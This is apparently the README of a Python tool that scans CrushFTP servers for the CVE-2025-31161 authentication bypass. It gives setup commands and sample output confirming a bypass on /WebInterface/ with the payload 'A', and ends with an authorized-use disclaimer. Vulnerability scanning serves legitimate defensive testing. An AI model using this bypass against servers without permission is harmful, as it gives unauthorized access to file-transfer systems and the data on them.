
Scans target to see if its vulnerable to CVE-2025-31161
A Python tool to detect and test for CVE-2025-31161 vulnerability in CrushFTP servers.
This script tests for the authentication bypass vulnerability (CVE-2025-31161) in CrushFTP servers that allows remote attackers to authenticate without valid credentials through HTTP Authorization header manipulation.
python3 CVE-2025-31161.py
git clone https://github.com/yourusername/CVE-2025-31161.py
cd CVE-2025-31161.py
pip3 install -r requirements.txt
$ python3 CVE-2025-31161.py
Enter target IP address: 192.168.1.100
Enter target port [8080]: 8080
==================================================
📡 Testing: /WebInterface/
🔑 Payload: 'A'
📊 Status: 200
🎉 VULNERABILITY CONFIRMED
💡 200 OK with content: dashboard, main
✅ Working payload: 'A'
==================================================
🎯 Target: 192.168.1.100:8080
🔴 VULNERABILITY STATUS: VULNERABLE
💥 CVE-2025-31161 Authentication Bypass CONFIRMED
✅ Working payloads:
==================================================
This tool is for educational and authorized testing purposes only. Only use on systems you own or have explicit permission to test.